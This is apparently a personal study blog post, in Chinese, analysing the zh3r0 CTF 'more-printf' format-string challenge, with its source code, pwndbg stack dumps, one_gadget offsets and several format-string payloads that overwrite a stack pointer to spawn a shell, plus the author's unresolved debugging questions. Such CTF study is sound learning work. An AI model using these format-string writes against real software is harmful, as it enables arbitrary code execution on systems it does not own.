这个题还有一些奇奇怪怪的问题, 但是怕自己跑偏了,就暂时先放下了,后面有空再研究.(或许和fprintf的机制有关?

​ 先复习一下格式化字符串,本来想看看之前自己写的笔记…看了一下后想起来了一句名言,大意就是你去修改一个很烂的项目不如重构….恩….写的太烂了…不如重写一篇…

格式化字符串漏洞基础

%n

​ 为什么能写入值呢,就是这个%n,它是将之前已经打印的字符个数赋值给当前偏移处的指针指向的地址

​ 例如%100×10$n: 将100写入第十个位置所保存的指针指向的地址(4字节), %$hn是2字节,%$hhn是1字节,%$lln是8字节

%p

​ %p %p %p %p %p %p %p %p %p %p

​ 在b *fprintf+143也就是vprintf下断点,然后set $rdi=_IO_stdout, 单步,就可以打印地址了

1
*RSI  0x55555555b4c0 ◂— '0x55555555b260 0x7ffff7af2151 0x7ffff7dcf8c0 0x7ffff7ff5540 0x7fffffffe470 0xb1dad8e32f5ad200 0x5555555552c0 0x7ffff7a03bf7 0x1 0x7fffffffe568\n'

​ 前四个值和后四个值

image-20231112234114271

%c

​ c是一个字符的意思, 在后面的exp中,%c%c%c%5c%hhn表示,前三次输出,都是输出一个字符,第四次是5个字符,然后一共是8个字节了,把8写入第5个位置的指针指向的地址.

​ set $rdi=_IO_stdout ( 其他版本呢?)

​ %caaa%cbbb%cccc%5cddd%hhn,

​ 可以看到确实只打印了第一个字符,然后%5c是把不足的用空格补齐

1
`aaaQbbb�ccc    @ddd
Snipaste_2023-11-08_20-04-22

​ 然后把值写到了第5个位置的指针指向的地址

​ 用%c%c%c%5c%hhn试一下, 可以看到确实是改成了0x08

Snipaste_2023-11-08_20-09-31

​ 但在我这里应该是要改成0xc8 不过其实应该没影响,都是把read地方的值改成onegadget

任意地址写修改值

1
%c%c%c%5c%hhn%*8$d%186326c%5$n

​ 除了wp给的payload,换其他的很多都不行…为什么呢?? 仔细观察源码, 有输入长度的限制的, fgets(buffer, 31, stdin);

​ 如果不是单纯做题而是研究一下打法的话,可以拓展一下长度试试,这样的话应该就好很多,(可以加系统调用限制,然后又是orw的一道题(x)) (或者直接在运行的时候改寄存器,修改读入长度)

修改ret返回值(x)

1
2
3
4
5
6
7
8
1a:00d0│     0x7fffffffe4a0 —▸ 0x555555555100 (_start) ◂— endbr64
1b:00d8│ 0x7fffffffe4a8 —▸ 0x5555555552af (main+198) ◂— mov edi, 1
1c:00e00x7fffffffe4b0 ◂— 0x7fffffffe4b0
1d:00e80x7fffffffe4b8 ◂— 0xb8204e953bb68d00
1e:00f0│ rbp 0x7fffffffe4c0 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64
1f:00f8│ 0x7fffffffe4c8 —▸ 0x7ffff7a03c87 (__libc_start_main+231) ◂— mov edi, eax

%c%c%c%197c%hhn%*8$d%????c%5$n

onegadget - (200 + 0x21c87 )就是要改的值了

1
2
3
4
5
6
7
8
9
10
11
12
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x4f2a5- (200 + 0x21c87 ) = 185686

%c%c%c%197c%hhn%*8$d%185686c%5$n

邪门,就是不出c8,概率比较小,可能和系统有关?

改成0x18吧…

%c%c%c%21c%hhn%*8$d%185862c%5$n

但还是不行..

问题出在这个函数没有ret的….那….. 所以覆盖了也没用…

fprintf之后有ret 回main函数的exit, 是不是可以修改这里呢? 这里就是下面的main+198

image-20231116172117205

改其他的函数指针,比如改main+198

0x556fe88e42af这里会执行到的,但是是把这里的值改了(用watch下断点查看)

1
2
3
4
5
6
1a:00d0│     0x7ffca5108380 —▸ 0x556fe88e4100 (_start) ◂— endbr64
1b:00d8│ 0x7ffca5108388 —▸ 0x556fe88e42af (main+198) ◂— mov edi, 1
1c:00e00x7ffca5108390 ◂— 0x7ffca5108390
1d:00e80x7ffca5108398 ◂— 0x695c632b96376d00
1e:00f0│ rbp 0x7ffca51083a0 —▸ 0x556fe88e42c0 (__libc_csu_init) ◂— endbr64
1f:00f8│ 0x7ffca51083a8 —▸ 0x7fc96c879c87 (__libc_start_main+231) ◂— mov edi, eax

修改下内存测试下

0x7f8d3724c000+0x4f2a5 = 0x7f8d3729b2a5

set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?)

set *0x7ffc28b196dc= 0x7f8d

这里会把这个值修改一下,但不知道后面会不会执行, 会执行!!!

0x18: %c%c%c%21c%hhn%*8$d%185862c%5$n

0x28: %c%c%c%37c%hhn%*8$d%185846c%5$n

但是没办法一次改完….得两次啊,不对,应该用%lln

0x18: %c%c%c%21c%hhn%*8$d%185862c%5$lln

0x28: %c%c%c%37c%hhn%*8$d%185846c%5$lln

不过为什么好像没有改成8字节,还是4字节呢?

以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下

如何确定能到read

​ 那就算修改了read, 怎么确定一定会执行到read呢, 不是执行到read,而是执行到栈里的这个地方,把那里的值改了,看wp一头雾水,wp中的调用链在本地测试不是这样

所以我感觉有几份就是瞎扯淡,瞎蒙的(不过也可能是自己认识不足

image-20231108230705755

​ 是在vprift里面触发的

​ 哦卧槽,这和栈的结构有关….?? 为什么返回地址会到这呢??

​ 改rsp上面那个值才行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1c:00e00x7ffd959070f0 —▸ 0x7ffd95907008 ◂— 0x7f2523745be7
1d:00e80x7ffd959070f8 ◂— 0xbaa72d067a954f00
1e:00f0│ rbp 0x7ffd95907100 —▸ 0x562fc10992c0 (__libc_csu_init) ◂— endbr64
1f:00f8│ 0x7ffd95907108 —▸ 0x7f25dc8e7bf7 (__libc_start_main+231) ◂— mov edi, eax
pwndbg> bt
#0 0x00007f2523745be7 in ?? ()
#1 0x0000003000000030 in ?? ()
#2 0x00007ffd959070f8 in ?? ()
#3 0x00007ffd95907030 in ?? ()
#4 0xbaa72d067a954f00 in ?? ()
#5 0x00007f25dccb1a00 in ?? () from ./libc.so.6
#6 0x00007f25dccae2a0 in ?? () from ./libc.so.6
#7 0x0000562fc300d260 in ?? ()
#8 0x00007f25dc9d6151 in __GI___libc_read (fd=-1785699856, buf=0x562fc300d27e, nbytes=0) at ../sysdeps/unix/sysv/linux/read.c:27
#9 0x00007f25dccb38c0 in _IO_stdfile_2_lock () from ./libc.so.6
#10 0x00007f25dcedf540 in ?? ()
#11 0xffffffffffffffb0 in ?? ()
#12 0x0000000000000000 in ?? ()




pwndbg> tele $rsp-0x10
00:00000x7ffd95907000 —▸ 0x7ffd95907100 —▸ 0x562fc10992c0 (__libc_csu_init) ◂— endbr64
01:00080x7ffd95907008 ◂— 0x7f2523745be7
02:0010│ rsp 0x7ffd95907010 ◂— 0x3000000030 /* '0' */
03:00180x7ffd95907018 —▸ 0x7ffd959070f8 ◂— 0xbaa72d067a954f00
04:00200x7ffd95907020 —▸ 0x7ffd95907030 —▸ 0x7f25dccb1a00 (_IO_2_1_stdin_) ◂— 0xfbad208b
05:00280x7ffd95907028 ◂— 0xbaa72d067a954f00
06:00300x7ffd95907030 —▸ 0x7f25dccb1a00 (_IO_2_1_stdin_) ◂— 0xfbad208b
07:00380x7ffd95907038 —▸ 0x7f25dccae2a0 (__GI__IO_file_jumps) ◂— 0x0
1
2
3
4
5
6
7
8
9
pwndbg> tele $rsp-0x8
00:00000x7ffea6ecc4b8 —▸ 0x7fa5e518df44 (fprintf+148) ◂— mov rcx, qword ptr [rsp + 0x18]
01:0008│ rsp 0x7ffea6ecc4c0 ◂— 0x3000000030 /* '0' */
02:00100x7ffea6ecc4c8 —▸ 0x7ffea6ecc5a8 ◂— 0x3d76d5b605211900
03:00180x7ffea6ecc4d0 —▸ 0x7ffea6ecc4e0 —▸ 0x7fa5e5514a00 (_IO_2_1_stdin_) ◂— 0xfbad208b
04:00200x7ffea6ecc4d8 ◂— 0x3d76d5b605211900
05:00280x7ffea6ecc4e0 —▸ 0x7fa5e5514a00 (_IO_2_1_stdin_) ◂— 0xfbad208b
06:00300x7ffea6ecc4e8 —▸ 0x7fa5e55112a0 (__GI__IO_file_jumps) ◂— 0x0
07:00380x7ffea6ecc4f0 —▸ 0x55e932c72260 ◂— '%c%c%c%5c%hhn%*8$d%186326c%5$n'

题目分析

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* gcc -o more-printf -fstack-protector-all more-printf.c */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fp;
char *buffer;
uint64_t i = 0x8d9e7e558877;

_Noreturn main() {
/* Just to save some of your time */
uint64_t *p;
p = &p;

/* Chall */
setbuf(stdin, 0);
buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样
fp = fopen("/dev/null", "wb");
fgets(buffer, 0x1f, stdin);
if (i != 0x8d9e7e558877) {
_exit(1337);
} else {
i = 1337;
fprintf(fp, buffer);
_exit(1);
}
}

逻辑分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3[2]; // [rsp+0h] [rbp-10h] BYREF

v3[1] = __readfsqword(0x28u);
v3[0] = (__int64)v3;
setbuf(stdin, 0LL);
buffer = (char *)malloc(0x21uLL);
fp = fopen("/dev/null", "wb");
fgets(buffer, 31, stdin);
if ( i != 0x8D9E7E558877LL )
_exit(1337);
i = 1337LL;
fprintf(fp, buffer);
_exit(1);
}

​ 能够看到没有溢出,有一次格式化字符串利用的机会, 我在想是不是可以直接把返回地址修改成onegadget呢? 答案没采用这种方法,后面证实确实不行,一个是没有ret, 换别的函数的ret没有合适的指针(存疑)

​ 先用%p泄露地址,能够看到第二个地址是比较特殊的, read函数,如果可以修改后面几个字节, 改为和onegadget一样,通过枚举,alsr偏移也一样的话,就可以getshell了,onegadget的话 0x4f3d5, 有五位不同, 枚举的话还是需要挺长时间的.. (不需要通过枚举,完全可以利用现有的指针),也就是第8个参数

​ __libc_start_main+231知道这里的值,加上偏移就是onegadget的值了!

1
2
3
__libc_start_main+231: 0x7ffff7a03bf7
onegadget : 0x7ffff7a313d5
相差: onegadget-__libc_start_main+231 = 0x2d7de = 186334

作者认为修改的read+17这个值是修改完后才会执行到的…依据是什么呢,如果不是这样的呢?

​ 下断点: b *read 下不了…q

​ 要输入payload: %c%c%c%5c%hhn%*8$d%186326c%5$n 也不行

​ 可以下watch断点的, watch一下要修改的地方的地址

1
2
3
4
5
6
pwndbg> info b
Num Type Disp Enb Address What
7 breakpoint keep y 0x00007ffff7a46f3f in __fprintf at fprintf.c:32
breakpoint already hit 1 time
9 breakpoint keep n 0x00007ffff7af2140 in __GI___libc_read at ../sysdeps/unix/sysv/linux/read.c:27
11 breakpoint keep y 0x00007ffff7af2140 in __GI___libc_read at ../sysdeps/unix/sysv/linux/read.c:27

下的断点没用呢… 换个patchelf试试,

2.27-3ubuntu1.4

https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/

先用这个吧 2.27-3ubuntu1.5_amd64

进去一会后按c, 就能够进入最后的调试了,不行就下一个,继续c

关键再c就退出去了..

注意下断点的地址, exit可以 那是不是可以下system\execve

直接q然后继续就好了

gdb –pid 进去

为什么这里就可以只枚举32呢?

​ 所以对抗alsr的点不是在onegadget这个地址上,这里是确定的, 那什么是不确定的呢?

​ 就是要修改的地址的地址, 它不一定是0x08,可能是0x18 28 也可能是0x00 0x20, 所以才会有32种可能

​ 不过在我的电脑上, 第2的字节的一半也变了…那随机化的范围又大了(关闭随机化的情况下,开启了好像又一样了)

实际修改的指针

改的其实是上面的函数的地址(实测) 作者提出的修改read+17行不通

image-20231111153904670

调试下断点和bt回溯遇到了问题

​ 首先,bt回溯时候的各种问题,我认为是因为劫持控制流破坏了识别算法, 识别不出来,

syscall能下断点吗

do_system

gdb 执行了新的sh,怎么跟踪呢? 如何看上一个进程的bt

为什么会执行到上面那里呢?

为什么会从那里取值rip呢?

这里貌似是比较重要的函数

image-20231111151211775

这里面进行解析的吧, 是的,所以重点应该在这里

printf_positional

怎么样才能跟踪执行流呢

故意输错 让他卡在那是不是就可以了

注意看这里, 返回了最开始的栈帧,

image-20231111153131246

为什么只链接了那两个就可以了??????

问题

buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样

​ set $rdi=_IO_stdout ( 其他版本呢?)

set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?)

以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下

​ 如何下断点来到这里呢? 最后返回onegadget的时候下不了断点

gdb启动的时候如何多下几个断点

为什么会从从rsp上面取值?

tips

gdb中如何关了alsr调试呢

1
2
set disable-randomization on 关闭
set disable-randomization off 开启

参考

https://www.anquanke.com/post/id/85785

https://xz.aliyun.com/t/12304

https://www.hakuya.work/post/2

https://violenttestpen.github.io/ctf/pwn/2021/06/06/zh3r0-ctf-2021/

https://github.com/zh3r0/zh3r0-ctf/tree/main/V2/pwn/more-printf/public/vuln

https://blog.caprinux.com/2021/06/07/zh3ro-ctf-more-printf/

https://sangjun.xyz/125

感觉前面几个讲的方法最后一步都有问题

https://cor.team/posts/zh3r0-ctf-v2-complete-pwn-writeups/

这一篇或许是对的